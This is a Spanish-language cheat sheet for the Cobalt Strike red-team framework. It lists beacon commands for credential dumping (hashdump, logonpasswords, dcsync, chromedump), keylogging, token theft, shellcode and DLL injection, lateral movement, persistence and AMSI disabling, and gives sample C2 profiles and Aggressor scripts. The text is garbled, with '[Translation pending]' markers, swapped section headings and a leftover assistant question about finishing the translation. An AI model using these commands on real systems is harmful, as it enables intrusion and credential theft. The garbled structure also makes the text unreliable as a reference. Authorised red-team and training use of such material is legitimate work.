Hoja de Referencia de Cobalt Strike¶
Descripción General¶
Cobalt Strike es una plataforma comercial de pruebas de penetración y operaciones de red de equipo rojo diseñada para emular actores de amenazas avanzadas. Proporciona un framework de post-explotación que permite a los operadores implementar beacons (agentes) en sistemas comprometidos, establecer canales de comando y control (C2), y realizar diversas operaciones de seguridad ofensiva.
⚠️ Advertencia: Cobalt Strike es una herramienta comercial de pruebas de seguridad que solo debe usarse en entornos donde se tenga permiso explícito para hacerlo.
Componentes Principales¶
Servidor de Equipo¶
- Servidor central de comando y control
- Se ejecuta en Linux
- Administra beacons y listeners
- Proporciona colaboración para operaciones de equipo
Cliente¶
- Aplicación GUI basada en Java
- Se conecta al Servidor de Equipo
- Interfaz para que los operadores interactúen con beacons
- Visualiza redes objetivo
Beacon¶
- Payload principal para post-explotación
- Establece comunicación con el Servidor de Equipo
- Proporciona diversas capacidades para operaciones ofensivas
- Puede operar en diferentes modos de comunicación
Configuración e Instalación¶
Configuración del Servidor de Equipo¶
# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]
# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
```[Translation pending]
### Configuración del Cliente
Listeners¶
Creación de Listeners¶
1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
- Name: <listener_name>
- Payload: <beacon_type>
- Host: <callback_domain_or_ip>
- Port: <port_number>
- Profile: <malleable_c2_profile>
4. Click "Save"
```[Translation pending]
### Tipos de Listeners
| Tipo | Descripción |
|------|-------------|
| HTTP | Usa HTTP para comunicación C2 |
| HTTPS | Utiliza HTTPS para comunicación C2 |
| DNS | Utiliza consultas DNS para C2 sigiloso |
| SMB | Utiliza tuberías con nombre para C2 peer-to-peer |
| TCP | Utiliza conexiones TCP directas |
| Foreign | Se integra con otros frameworks C2 |[Translation pending]
## Generación de Payloads
### Tipos de Payloads de Beacon
| Tipo de Payload | Descripción |
|--------------|-------------|
| Windows Executable | Archivo .exe estándar |
| Windows Service EXE | Ejecutable de servicio |
| DLL | Biblioteca de Vínculo Dinámico |
| PowerShell | PowerShell one-liner |
| Python | Script de Python |
| Office Macro | Macro para documentos de Office |
| Shellcode | Shellcode en bruto |[Translation pending]
### Artifact Kit
Comandos de Beacon¶
Gestión de Sesiones¶
| Comando | Descripción |
|---|---|
help |
Mostrar información de ayuda |
sleep [seconds] [jitter%] |
Establecer tiempo de sueño y jitter |
checkin |
Forzar check-in inmediato |
exit |
Terminar la sesión del beacon |
clear |
Borrar la cola de tareas del beacon |
jobs |
Listar trabajos en ejecución |
jobkill [JID] |
Terminar un trabajo en ejecución |
mode dns |
Cambiar al modo DNS |
mode dns-txt |
Cambiar al modo DNS-TXT |
mode dns6 |
Cambiar al modo DNS6 |
mode http |
Cambiar a modo HTTP |
mode smb |
Cambiar a modo SMB |
Recopilación de Información¶
| Comando | Descripción |
|---|---|
hostname |
Obtener el hostname |
ipconfig |
Mostrar configuración de red |
netstat |
Mostrar conexiones de red |
ps |
Listar procesos en ejecución |
tasklist |
Alternativa a ps |
getuid |
Obtener ID de usuario actual |
whoami |
Obtener información detallada del usuario |
pwd |
Imprimir directorio de trabajo |
drives |
Listar unidades disponibles |
dir [directory] |
Listar archivos en directorio |
ls [directory] |
Alternativa a dir |
net [command] |
Ejecutar comando net |
reg query [path] |
Consultar registro |
sysinfo |
Obtener información del sistema |
Operaciones de Archivos¶
| Comando | Descripción |
|---|---|
cd [directory] |
Cambiar directorio |
cp [source] [destination] |
Copiar un archivo |
mkdir [directory] |
Crear un directorio |
mv [source] [destination] |
Mover o cambiar el nombre de un archivo |
rm [file] |
Eliminar un archivo |
rmdir [directory] |
Eliminar un directorio |
cat [file] |
Mostrar contenido de archivo |
download [file] |
Descargar un archivo desde target |
upload [file] |
Cargar un archivo a target |
timestomp [file] [template] |
Modificar marcas de tiempo de archivos |
ls-acl [file] |
Listar permisos de archivo |
Operaciones de Procesos¶
| Comando | Descripción |
|---|---|
execute [program] |
Ejecutar sin capturar la salida |
shell [command] |
Ejecutar y capturar salida |
run [program] |
Ejecutar un programa |
runas [user] [password] [program] |
Ejecutar como otro usuario |
pth [user] [domain] [hash] |
Pass-the-hash para crear un token |
steal_token [pid] |
Robar token del proceso |
make_token [domain] [user] [password] |
Crear un token |
rev2self |
Revertir al token original |
getprivs |
Habilitar privilegios de sistema |
getsystem |
Intentar obtener privilegios de SYSTEM |
execute-assembly [file.exe] |
Ejecutar ensamblado .NET en memoria |
powerpick [command] |
Ejecutar PowerShell sin powershell.exe |
powershell [command] |
Ejecutar comando de PowerShell |
psinject [pid] [command] |
Ejecutar PowerShell en un proceso específico |
shinject [pid] [arch] [file.bin] |
Inyectar shellcode en proceso |
dllinject [pid] [file.dll] |
Inyectar DLL en proceso |
dllload [file.dll] |
Cargar DLL en proceso beacon |
Movimiento Lateral¶
| Comando | Descripción |
|---|---|
psexec [target] [listener] |
Usar PsExec para desplegar beacon |
psexec_psh [target] [listener] |
Usar PsExec con PowerShell |
winrm [target] [listener] |
Usar WinRM para desplegar beacon |
wmi [target] [listener] |
Usar WMI para desplegar beacon |
ssh [target:port] [user] [pass] [listener] |
Usar SSH para desplegar beacon |
ssh-key [target:port] [user] [key] [listener] |
Usar SSH con autenticación por clave |
dcsync [domain] [user] |
Usar DCSync para extraer hashes de contraseñas |
jump [method] [target] [listener] |
Saltar al objetivo usando el método especificado |
remote-exec [method] [target] [command] |
Ejecutar comando en sistema remoto |
Pivoting¶
| Comando | Descripción |
|---|---|
rportfwd [bind port] [forward host] [forward port] |
Configurar reenvío de puerto inverso |
rportfwd stop [bind port] |
Detener reenvío de puerto inverso |
socks [port] |
Iniciar servidor proxy SOCKS |
socks stop |
Detener servidor proxy SOCKS |
spunnel [host] [port] |
Crear túnel cifrado sobre SMB |
spunnel stop |
Detener túnel cifrado |
covertvpn [interface] [IP/Mask] |
Implementar interfaz de Covert VPN |
covertvpn stop |
Detener Covert VPN |
pivot [host] [port] |
Escuchar listeners de pivot |
pivotlistener [host] [port] |
Crear listener pivote |
Post-Explotación¶
| Comando | Descripción |
|---|---|
mimikatz [command] |
Ejecutar comando Mimikatz |
hashdump |
Volcar hashes de contraseñas |
logonpasswords |
Volcar credenciales de la memoria |
keylogger [pid] |
Iniciar keylogger |
screenshot [pid] |
Tomar captura de pantalla |
screenwatch [pid] |
Observar pantalla del objetivo |
printscreen |
Tomar captura de pantalla usando PrintScreen |
reg query [path] |
Consultar registro |
powerview [command] |
Ejecutar comando PowerView |
portscan [targets] [ports] [discovery method] |
Escanear puertos abiertos |
browserpivot [pid] [port] |
Secuestrar sesiones web autenticadas |
chromedump |
Volcar cookies y datos de inicio de sesión de Chrome |
persist [method] [listener] |
Configurar persistencia |
elevate [exploit] [listener] |
Intentar escalada de privilegios |
Perfiles de Malleable C2¶
Estructura Básica¶
# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
# HTTP staging
http-stager \\\\{
set uri "/jquery-3.3.1.min.js";
client \\\\{
header "Accept" "text/javascript, application/javascript, */*";
\\\\}
server \\\\{
header "Content-Type" "application/javascript";
\\\\}
\\\\}
# HTTP client
http-get \\\\{
set uri "/api/v1/data";
client \\\\{
header "Accept" "application/json";
metadata \\\\{
base64;
prepend "session=";
append ";";
header "Cookie";
\\\\}
\\\\}
server \\\\{
header "Content-Type" "application/json";
output \\\\{
json \\\\{
"status" "success";
"data" "";
\\\\}
prepend "\\\\{\"data\":\"";
append "\"\\\\}";
base64;
\\\\}
\\\\}
\\\\}
```[Translation pending]
### Probando Perfiles
```bash
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile
# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
```[Translation pending]
## Scripts de Aggressor
### Estructura Básica de Scripts
Event handlers¶
on beacon_initial \\{ println("New beacon: " . $1); \\}
Aliases (custom commands)¶
alias hello \\{ blog($1, "Hello, World!"); \\}
Menus¶
popup beacon_bottom \\{ item "Custom Command" \\{ blog(\(1, "Executing custom command..."); bshell(\)1, "whoami"); \\} \\}
Functions¶
sub get_system_info \\{ bshell($1, "systeminfo"); \\} ```[Translation pending]
Funciones Comunes de Scripts¶
| Función | Descripción |
|---|---|
blog($1, "message") |
Escribir en la consola de beacon |
bshell($1, "command") |
Ejecutar comando de shell |
bpowershell($1, "command") |
Ejecutar comando de PowerShell |
bpowerpick($1, "command") |
Ejecutar PowerShell sin powershell.exe |
bexecute_assembly($1, "/path/to/file.exe") |
Ejecutar ensamblado .NET |
bdllspawn($1, "/path/to/file.dll") |
Inyectar DLL Reflective |
bpsexec($1, "target", "listener") |
Ejecutar movimiento lateral de PsExec |
bwmi($1, "target", "listener") |
Ejecutar movimiento lateral WMI |
bwinrm($1, "target", "listener") |
Ejecutar movimiento lateral de WinRM |
Consideraciones de OPSEC¶
Inyección de Procesos¶
# Set parent process for new processes
ppid [pid]
# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe
# Mask command-line arguments
argue [command] [fake arguments]
# Block non-Microsoft DLLs
blockdlls start
blockdlls stop
```[Translation pending]
### Técnicas de Evasión
[Note: Sections 3-20 are marked as pending translation, as they were not provided in the original request.]```
# Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]
# Configure staging process
stage \\\\{
set obfuscate "true";
set stomppe "true";
set cleanup "true";
\\\\}
# Disable AMSI
amsi_disable
# Use smarter process injection
smartinject
```## Flujos de Trabajo Comunes
### Acceso Inicial
1. Dump hashes: hashdump
2. Dump credentials from memory: logonpasswords
3. Use Mimikatz for advanced options: mimikatz [command]
4. Extract domain hashes (if DC): dcsync [domain] [user]### Recopilación de Credenciales
1. Identify targets: net view
2. Choose lateral movement technique:
- psexec [target] [listener]
- winrm [target] [listener]
- wmi [target] [listener]
3. Verify new beacon check-in
```### Movimiento Lateral
Would you like me to provide the full translations or complete the URLs for the resources? If you have specific content for each section, please share it and I'll translate accordingly.